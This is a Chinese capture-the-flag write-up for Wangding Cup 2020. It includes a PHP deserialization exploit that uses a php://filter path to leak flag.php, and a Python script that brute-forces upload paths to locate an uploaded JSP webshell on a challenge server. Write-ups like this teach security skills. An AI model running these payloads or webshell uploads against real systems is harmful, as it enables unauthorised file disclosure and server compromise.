网鼎杯2020

MISC

签到

没啥好说的,一些国际战队的图标,然后答对15个提交自己的token就能在network请求中发现flag。

image.png

Web

AreUSerialz

给了个源码,一看是应该就是反序列化了,基本题目。

直接上EXP

<?php

#include("flag.php");

#highlight_file(__FILE__);

class FileHandler {

    public $op=2;
    public $filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";
    public $content;


}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            echo ord($s[$i]);
            return false;
    return true;
}



$str = serialize(new FileHandler);

echo urlencode($str);

20200510134209.png

轻松获取到源码,解密的到flag。

20200510134227.png

filejava

上传题,说起来挺奇怪的,可能是思路有问题,卡了挺久都没做出来,测试发现并不过滤上传文件,只是不告诉你上传路径,给你一个下载地址,下载也是通过文件名来查库下载,导致即使是上传了一个shell,但是由于不知道路径,导致你也没法下载。经过测试,无意间爆出了他的绝对路径,但是奇怪的一幕发生了,上传一个文件后去暴力跑了一下他的地址,结果全部都是404,不应该啊,在目录中参杂两个随机的目录,两位数数字,就是upload后文件名前的那两个目录,理论上来说是可以跑出来的,但是实际上全部返回404,不知道哪里出了问题。

20200510142752.png

附上脚本,可能是我思路有问题吧

import requests

url1 = 'http://0196f752e9624b06851c570541f7f915e6177f9574f5405d.cloudgame1.ichunqiu.com:8080/file_in_java/WEB-INF/upload/'
url2 = '/9971955f-c6d8-41b1-b635-e4c1e22ce5d4_1.jsp'

def getUrl(i,j):
   return url1 + str(i) +'/' + str(j) +url2

for i in range(16):
    for j in range(16): 
        r = requests.get(getUrl(i,j))
        print(getUrl(i,j) + "  code:",end="")
        print(r.status_code)

Crypto

boom

运行发现这个,我们回车继续。

image.png

发现要解MD5,解得发现为 en5oy,输入进入下一关。

image.png

发现要解一个二元一次方程。

image.png

轻松秒杀,解得X为x=74,y = 68,z = 31,输入,秒杀。

image.png

接着来到了第三关,轻松解得X=89127561,轻松得到Flag。

image.png